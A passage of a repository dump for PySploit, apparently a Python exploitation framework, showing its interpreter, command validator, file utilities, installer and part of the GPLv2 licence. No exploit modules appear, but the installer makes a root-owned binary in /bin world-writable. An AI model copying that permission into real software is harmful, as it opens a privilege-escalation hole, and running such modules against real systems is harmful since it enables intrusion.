green(" Could") + " not connect to " + obtainer.options['ip'][2] + ":" + str(obtainer.options['port'][2]) + " !") 78 | -------------------------------------------------------------------------------- /utilities/files.py: -------------------------------------------------------------------------------- 1 | import os, shutil, grp 2 | from getpass import getuser 3 | 4 | def count_subfolders_files(path = str(os.getcwd())): 5 | count_subfolders_files.result = [] 6 | for dir,count_subfolders_files.subdir,files in os.walk(path): 7 | count_subfolders_files.result.append(files) 8 | if len(files) == 0: 9 | count_subfolders_files.result.remove(files) 10 | return len(count_subfolders_files.result) 11 | def count_files(path = str(os.getcwd()), hidden = True): 12 | files_list = [] 13 | for all_element in os.listdir(path): 14 | files_list.append(all_element) 15 | for directories in files_list: 16 | if os.path.isdir(path+'/'+directories): 17 | files_list.remove(directories) 18 | if hidden == True: 19 | return len(files_list) 20 | else: 21 | files_list = [files_list.split(".")[0] for files_list in files_list] 22 | for hidden in files_list: 23 | if len(hidden) == 0: 24 | files_list.remove(hidden) 25 | for hidden in files_list: 26 | if len(hidden) == 0: 27 | files_list.remove(hidden) 28 | return len(files_list) 29 | def count_python_files(path = str(os.getcwd())): 30 | python_files = [] 31 | for dirs,subdir,files in os.walk(path): 32 | for element in files: 33 | if element.endswith('.py'): 34 | python_files.append(element) 35 | return len(python_files) 36 | 37 | def count_dirs(path = str(os.getcwd()), hidden = True): 38 | directories_list = [] 39 | for all_element in os.listdir(path): 40 | directories_list.append(all_element) 41 | for files in directories_list: 42 | if os.path.isfile(path+'/'+files): 43 | directories_list.remove(files) 44 | if hidden == True: 45 | return len(directories_list) 46 | else: 47 | directories_list = [directories_list.split(".")[0] for directories_list in directories_list] 48 | for hidden in directories_list: 49 | if len(hidden) == 0: 50 | directories_list.remove(hidden) 51 | for hidden in directories_list: 52 | if len(hidden) == 0: 53 | directories_list.remove(hidden) 54 | return len(directories_list) 55 | def copy(src,dst): 56 | if type(src) == list: 57 | if type(dst) == list: 58 | try: 59 | for i in range(0,10000000): 60 | if os.path.isfile(src[i]): 61 | shutil.copy(src[i], dst[i]) 62 | else: 63 | shutil.copytree(src[i], dst[i]+'/'+src[i]) 64 | except IndexError: 65 | pass 66 | else: 67 | for src_el in src: 68 | if os.path.isfile(src_el): 69 | shutil.copy(src_el,dst) 70 | else: 71 | shutil.copytree(src_el,dst+'/'+src_el) 72 | else: 73 | if os.path.isfile(src): 74 | shutil.copy(src,dst) 75 | else: 76 | shutil.copytree(src,dst+'/'+src) 77 | 78 | def move(src,dst): 79 | if type(src) == list: 80 | if type(dst) == list: 81 | try: 82 | for i in range(0,10000000): 83 | if os.path.isfile(src[i]): 84 | shutil.move(src[i], dst[i]) 85 | else: 86 | shutil.copytree(src[i], dst[i]+'/'+src[i]) 87 | shutil.rmtree(src[i]) 88 | except IndexError: 89 | pass 90 | else: 91 | for src_el in src: 92 | if os.path.isfile(src_el): 93 | shutil.move(src_el,dst) 94 | else: 95 | shutil.copytree(src_el,dst+'/'+src_el) 96 | shutil.rmtree(src_el) 97 | else: 98 | if os.path.isfile(src): 99 | shutil.move(src,dst) 100 | else: 101 | shutil.copytree(src,dst+'/'+src) 102 | shutil.rmtree(src) 103 | def touch(name): 104 | file = open(name,'w') 105 | file.close() 106 | def rename(src,dst): 107 | os.rename(src,dst) 108 | def rm(path): 109 | if os.path.isfile(path): 110 | os.remove(path) 111 | else: 112 | shutil.rmtree(path) 113 | def ls(dir = str(os.getcwd())): 114 | for i in os.listdir(dir): 115 | print(i) 116 | def cd(path): 117 | os.chdir(path) 118 | def pwd(): 119 | print(os.getcwd()) 120 | -------------------------------------------------------------------------------- /PySploit.py: -------------------------------------------------------------------------------- 1 | from core.interpreter import interpreter 2 | from core.banner import Banner 3 | from sys import argv 4 | from utilities.color import * 5 | from utilities.files import * 6 | from argparse import ArgumentParser, SUPPRESS 7 | from subprocess import check_call, CalledProcessError, call 8 | import os 9 | import shutil 10 | sample = """from core.module_obtainer import obtainer 11 | info = { 12 | 'author' :'Creator name', 13 | 'date' :'Create date', 14 | 'rank' :'Rank of the module', 15 | 'path' :'Module create path', 16 | 'category' :'Main category of the module', 17 | 'license' :'Module license', 18 | 'description' :'Module description', 19 | 'references' :['References for further reading'] 20 | } 21 | options = { 22 | 'options_name' :['require', 'description','value'] 23 | } 24 | required = { 25 | 'start_required' :'False/True', # using default starter 26 | 'check_required' :'False/True' # module support on not support check option 27 | } 28 | def exploit(): # main exploit function 29 | pass # stuff to do 30 | def check(): # check function if the module require it 31 | pass # stuff to do""" 32 | 33 | def install(): 34 | try: 35 | os.mkdir('/etc/pysploit-framework') 36 | os.mkdir('/etc/pysploit-framework/docs') 37 | except FileExistsError: 38 | print(red('\n[!]') + green(" /etc/pysploit-framework") + " folder is exist, try --unistall command before reinstall\n") 39 | exit() 40 | except PermissionError: 41 | print(red("\n[!]") + green(" You") + " should run command as root\n") 42 | exit() 43 | try: 44 | copy(['PySploit.py','core/','files','modules/','samples/','utilities/'], '/etc/pysploit-framework') 45 | copy(['README.md','LICENSE','pysploit'],'/etc/pysploit-framework/docs') 46 | except FileExistsError: 47 | print(red("\n[!]") + green(' Check') + " if all tool files exist and try again\n") 48 | exit() 49 | except PermissionError: 50 | print(red("\n[!]") + green(" You") + " should run command as root\n") 51 | exit() 52 | try: 53 | file = open('/bin/pysploit','w') 54 | file.write('cd /etc/pysploit-framework &> /dev/null') 55 | file.write('\npython3 PySploit.py $1 $2 $3 $4') 56 | call('chmod 777 /bin/pysploit', shell=True) 57 | except PermissionError: 58 | print(red("\n[!]") + green(" You") + " should run command as root\n") 59 | exit() 60 | else: 61 | print(blue('\n[CO]') + green(" Tool") + ' installed successfully type pysploit to run it\n') 62 | def uninstall(): 63 | try: 64 | rm('/etc/pysploit-framework/') 65 | rm('/bin/pysploit') 66 | except PermissionError: 67 | print(red("\n[!]") + green(" You") + " should run command as root\n") 68 | exit() 69 | except FileNotFoundError: 70 | print(red('\n[!]') + green(" Tool") + " does not installed on your device\n") 71 | exit() 72 | else: 73 | print(blue('\n[CO]') + green(" Tool") + ' uninstalled successfully\n') 74 | 75 | def main(): 76 | parser = ArgumentParser(prog='PySploit',usage='python3 PySploit.py [options]', add_help=False) 77 | help_arguments = parser.add_argument_group('help arguments') 78 | help_arguments.add_argument('-v', '--version', action='version', version="version 1.2") 79 | help_arguments.add_argument('-h', '--help', action='help', default=SUPPRESS, help='show this help message and exit.') 80 | optional_arguments = parser.add_argument_group('optional arguments') 81 | optional_arguments.add_argument('-c', '--create', dest='filename', required=False, help='create module sample') 82 | optional_arguments.add_argument('-u', '--upgrade', required=False, action='store_true', help='create module sample') 83 | optional_arguments.add_argument('-m', '--manual', required=False, action='store_true', help='show tool man page') 84 | optional_arguments.add_argument('-i', '--install', required=False, action='store_true', help='install tool on your computer') 85 | optional_arguments.add_argument('-un', '--uninstall', required=False, action='store_true', help='uninstall tool from your computer') 86 | args = parser.parse_args() 87 | if len(argv) > 1: 88 | if args.filename is not None: 89 | filename = open(args.filename, 'w') 90 | filename.write(sample) 91 | elif args.upgrade == True: 92 | interpreter().check_upgrade() 93 | elif args.manual == True: 94 | try: 95 | check_call('man /etc/pysploit-framework/docs/pysploit',shell=True) 96 | except CalledProcessError: 97 | print(red('\n[!]') + green(' Tool') + " manual is not installed yet\n") 98 | elif args.install == True: 99 | install() 100 | elif args.uninstall == True: 101 | uninstall() 102 | else: 103 | Banner() 104 | while True: 105 | interpreter().start_interpreter() 106 | 107 | if __name__ == '__main__': 108 | main() 109 | -------------------------------------------------------------------------------- /core/module_interpreter.py: -------------------------------------------------------------------------------- 1 | from __main__ import * # import all stuff in the program namespace 2 | from utilities.color import * # import colors function 3 | from core.banner import Banner # import banner 4 | from utilities.screen_cleaner import clear # import screen cleaner == clear command in unix and unix like system 5 | from core.module_obtainer import obtainer # import module_obtainer package 6 | from imp import reload # import reload function from importlib lib 7 | import core.interpreter, readline # import main interpreter 8 | from core.interpreter import interpreter 9 | from os import system # import system function from os lib 10 | from glob import glob 11 | from core.validator import validator 12 | 13 | def module_completer(): 14 | # source: https://gist.github.com/iamatypeofwalrus/5637895 15 | class tabCompleter(object): 16 | 17 | def pathCompleter(self,text,state): 18 | line = readline.get_line_buffer().split() 19 | return [x for x in glob(text+'*')][state] 20 | def createListCompleter(self,ll): 21 | pass 22 | def listCompleter(text,state): 23 | line = readline.get_line_buffer() 24 | if not line: 25 | return [c + " " for c in ll][state] 26 | else: 27 | return [c + " " for c in ll if c.startswith(line)][state] 28 | 29 | self.listCompleter = listCompleter 30 | t = tabCompleter() 31 | t.createListCompleter(["set", "exploit", "back", "check", "help", "info", 'banner', 'run', 'exec', 'clear','search']) 32 | readline.set_completer_delims('\t') 33 | readline.parse_and_bind("tab: complete") 34 | readline.set_completer(t.listCompleter) 35 | # 36 | 37 | class module_interpreter(object): 38 | def command_set_call(self, option_name, option_value): 39 | self.option_name = option_name 40 | self.option_value = option_value 41 | self.commnad_set_configure(module_interpreter, self.option_name, self.option_value) 42 | 43 | def help_message(self): 44 | print('') 45 | print('Options: Require: Description: Value:') 46 | print('-------- -------- ------------ ------') 47 | for opt,val in obtainer.options.items(): 48 | print("{:23s}".format(opt)+''+' '.join(val)) 49 | print('') 50 | 51 | def command_info_call(self): 52 | try: 53 | print('') 54 | print(green(' Author: ') + obtainer.info['author']) 55 | print(green(' Date: ') + obtainer.info['date']) 56 | print(green(' Rank: ') + obtainer.info['rank']) 57 | print(green(' Category: ') + obtainer.info['category']) 58 | print(green(' Path: ') + obtainer.info['path']) 59 | print(green(' License: ') + obtainer.info['license']) 60 | try: 61 | try: 62 | obtainer.extra_info_obtainer(obtainer,__file__) 63 | except Exception: 64 | pass 65 | try: 66 | obtainer.extra_info['cve'] 67 | except (KeyError,NameError): 68 | pass 69 | else: 70 | if type(obtainer.extra_info['cve']) != list: 71 | pass 72 | else: 73 | print(green(' CVE ID: '), end='') 74 | for id in obtainer.extra_info['cve']: 75 | print(id,end=', ') 76 | except Exception: 77 | pass 78 | print('\n\n') 79 | print(green('Module Options:')) 80 | print(green('-'*16)) 81 | self.help_message(module_interpreter) 82 | print('\n') 83 | print(green('Description: ') + obtainer.info['description'] + '\n') 84 | print(green('References: ')) 85 | for ref in obtainer.info['references']: 86 | print(red(' - ') + ref) 87 | except KeyError: 88 | print('\n' + red('[!]') + green(' You') + ' should define author,date,rank,category,path,license,description,rseferences keys in your info dictionary\n') 89 | pass 90 | if obtainer.extra_info_obtainer(obtainer,__file__): 91 | try: 92 | print(green('\nTargets')+ red('[{0}]'.format(len(obtainer.extra_info['targets']))) + green(':')) 93 | for element in obtainer.extra_info['targets']: 94 | print(red(' - ') + element) 95 | except (NameError,KeyError,TypeError): 96 | pass 97 | print('') 98 | def __init__(self, module, category, module_input): 99 | self.module_input = module_input 100 | from core.module_obtainer import obtainer 101 | obtainer.obtaining_info(obtainer,self.module_input) 102 | module_completer() # start completer 103 | self.module_name = module # get module_name variable from interpreter 104 | self.category = category # get category variable from interpreter 105 | self.options = obtainer.options 106 | self.info = obtainer.info 107 | self.exploit = obtainer.exploit 108 | self.required = obtainer.required 109 | 110 | while True: 111 | try: 112 | self.shell_ask = input(underline("PySploit") + " " + self.category + "(" + red(self.module_name) + ") >> ").split() # get input from user and split it 113 | validator(self.shell_ask).validate_module_interpreter_mode() 114 | except (KeyboardInterrupt,EOFError): 115 | print('\n' + red('\n[!]') + green(' type') + gray(' exit') + ' to close the program\n') 116 | 117 | def commnad_set_configure(self, option_name, option_value): 118 | module_interpreter.option_name = option_name 119 | module_interpreter.option_value = option_value 120 | if module_interpreter.option_name in obtainer.options: 121 | obtainer.options[str(module_interpreter.option_name)][2] = module_interpreter.option_value 122 | else: 123 | print('\n' + red('[!]') + green(' option') + ' not define in module\n') 124 | -------------------------------------------------------------------------------- /core/validator.py: -------------------------------------------------------------------------------- 1 | from __main__ import * 2 | from utilities.color import * # import utilites 3 | from utilities.screen_cleaner import clear # import utilites 4 | from core.banner import Banner # import banner 5 | from imp import reload # import reload function from imp module 6 | from os import system 7 | from core.module_obtainer import obtainer 8 | 9 | class validator(object): 10 | def __init__(self, command): 11 | self.command = command 12 | def validate_interpreter_mode(self): 13 | try: 14 | if self.command[0] == "clear" or self.command[0] == "Clear" or self.command[0] == "CLEAR": 15 | clear() 16 | elif self.command[0] == 'search' or self.command[0] == 'Search' or self.command[0] == 'SEARCH': 17 | try: 18 | interpreter.search_module(query = self.command[1]) 19 | except IndexError: 20 | print(red('\n[!]') + green(' Invaild') + " syntax you should enter search query\n") 21 | except TypeError: 22 | pass 23 | elif self.command[0] == "banner" or self.command[0] == "Banner" or self.command[0] == 'BANNER': 24 | Banner() 25 | elif self.command[0] == 'exit' or self.command[0] == "Exit" or self.command[0] == 'close' or self.command[0] == 'Close': 26 | exit(0) 27 | elif self.command[0] == "use" or self.command[0] == "Use" or self.command[0] == "USE": 28 | from core.module_obtainer import obtainer 29 | from core.module_interpreter import module_interpreter 30 | try: 31 | if obtainer.obtaining_info(obtainer, self.command[1]): 32 | while True: 33 | module_interpreter(self.command[1].split('/')[-1], self.command[1].split('/')[-1+1],self.command[1]) 34 | except IndexError: 35 | print('\n' + red('[!]') + green(' You') + ' should enter the module name\n') 36 | elif self.command[0] == 'restart' or self.command[0] == 'Restart' or self.command[0] == 'RESTART': 37 | import core.module_interpreter # import module_interpreter module from core foloder 38 | print('\n' + blue('[~]') + ' restarting the program ..... success\n') 39 | reload(core.module_interpreter) 40 | from core.module_interpreter import module_interpreter 41 | elif self.command[0] == 'exec' or self.command[0] == 'execute': 42 | try: 43 | self.command.remove('exec' if self.command[0] == 'exec' else 'execute') 44 | system(' '.join(self.command)) 45 | except IndexError: 46 | print(red("\n[!] ") + green("Please ") + " enter the command\n") 47 | 48 | elif self.command[0] == 'upgrade' or self.command[0] == 'Upgrade' or self.command[0] == 'UPGRADE': 49 | interpreter.check_upgrade(interpreter) 50 | else: 51 | print('\n' + red('[!]') + green(' option') + ' not found\n') 52 | except (KeyboardInterrupt,EOFError): 53 | print('\n' + red('\n[!]') + green(' type') + gray(' exit') + ' to close the program\n') 54 | except IndexError: 55 | return None 56 | 57 | def validate_module_interpreter_mode(self): 58 | from core.module_interpreter import module_interpreter 59 | from core.interpreter import interpreter 60 | try: 61 | if self.command[0] == "clear" or self.command[0] == "Clear" or self.command[0] == "CLEAR": 62 | clear() 63 | elif self.command[0] == "banner" or self.command[0] == "Banner" or self.command[0] == "BANNER": 64 | Banner() 65 | elif self.command[0] == 'search' or self.command[0] == 'Search' or self.command[0] == 'SEARCH': 66 | try: 67 | interpreter.search_module(query = self.command[1]) 68 | except IndexError: 69 | print(red('\n[!]') + green(' Invaild') + " syntax you should enter search query\n") 70 | except TypeError: 71 | pass 72 | elif self.command[0] == 'exit' or self.command[0] == "Exit" or self.command[0] == 'close' or self.command[0] == 'Close' or \ 73 | self.command[0] == "EXIT" or self.command[0] == "CLOSE" or self.command[0] == "back" or self.command[ 74 | 0] == "Back" or self.command[0] == "BACK": 75 | import core.interpreter 76 | from core.main_completer import completer# import completer 77 | reload(core.interpreter) 78 | from core.interpreter import interpreter 79 | completer() # start completer 80 | while True: 81 | interpreter.start_interpreter(interpreter) # restart interpreter 82 | elif self.command[0] == "Help" or self.command[0] == "help" or self.command[0] == "HELP": 83 | module_interpreter.help_message(module_interpreter) 84 | elif self.command[0] == 'set' or self.command[0] == "Set" or self.command[0] == "SET": 85 | try: 86 | module_interpreter.command_set_call(module_interpreter,self.command[1], self.command[2]) 87 | except IndexError: 88 | print(red('\n[!]') + green(' Invaild') + " syntax you should enter option and new value\n") 89 | elif self.command[0] == 'info' or self.command[0] == 'Info' or self.command[0] == 'INFO' or self.command[0] == 'information' or self.command[0] == 'Information' or self.command[0] == 'INFORMATION': 90 | module_interpreter.command_info_call(module_interpreter) 91 | elif self.command[0] == 'exploit' or self.command[0] == 'Exploit' or self.command[0] == 'EXPLOIT' or self.command[0] == 'run' or self.command[0] == 'Run' or self.command[0] == 'RUN': 92 | opt = [] 93 | val = [] 94 | stat = [] 95 | for o,v in obtainer.options.items(): 96 | opt.append(o) 97 | val.append(v[2]) 98 | stat.append(v[0]) 99 | i = 0 100 | while i < len(opt): 101 | try: 102 | if stat[i] == 'Yes': 103 | if len(val[i]) <= 0: 104 | print(red('\n[!]') + green(' You') + " should set {0} options\n".format(opt[i])) 105 | break 106 | else: 107 | if obtainer.required['start_required'] == True or obtainer.required['start_required'] == "True" or obtainer.required['start_required'] == "TRUE": 108 | print('\n' + blue('[~]') + ' starting module ...\n') 109 | obtainer.exploit() 110 | print('\n' + blue('[~]') + ' end running module\n') 111 | break 112 | else: 113 | obtainer.exploit() 114 | break 115 | 116 | else: 117 | if obtainer.required['start_required'] == True or obtainer.required['start_required'] == "True" or obtainer.required['start_required'] == "TRUE": 118 | print('\n' + blue('[~]') + ' starting module ...\n') 119 | obtainer.exploit() 120 | print('\n' + blue('[~]') + ' end running module\n') 121 | break 122 | else: 123 | obtainer.exploit() 124 | break 125 | except IndexError: 126 | print 127 | i += 1 128 | 129 | elif self.command[0] == 'check' or self.command[0] == 'Check' or self.command[0] == 'CHECK': 130 | if obtainer.required['check_required'] == True or obtainer.required['check_required'] == "True" or obtainer.required['check_required'] == "TRUE": 131 | obtainer.check() 132 | else: 133 | print('\n' + green('[#]') + " Module don't have check option\n") 134 | elif self.command[0] == 'exec' or self.command[0] == 'execute': 135 | try: 136 | self.command.remove('exec' if self.command[0] == 'exec' else 'execute') 137 | system(' '.join(self.command)) 138 | except IndexError: 139 | print(red("\n[!] ") + green("Please ") + " enter the command\n") 140 | elif self.command[0] == 'upgrade': 141 | interpreter.check_upgrade(interpreter) 142 | else: 143 | print('\n' + red('[!]') + green(' option') + ' not found\n') 144 | except (KeyboardInterrupt,EOFError): 145 | print('\n' + red('\n[!]') + green(' type') + gray(' exit') + ' to close the program\n') 146 | except IndexError: 147 | return None 148 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it 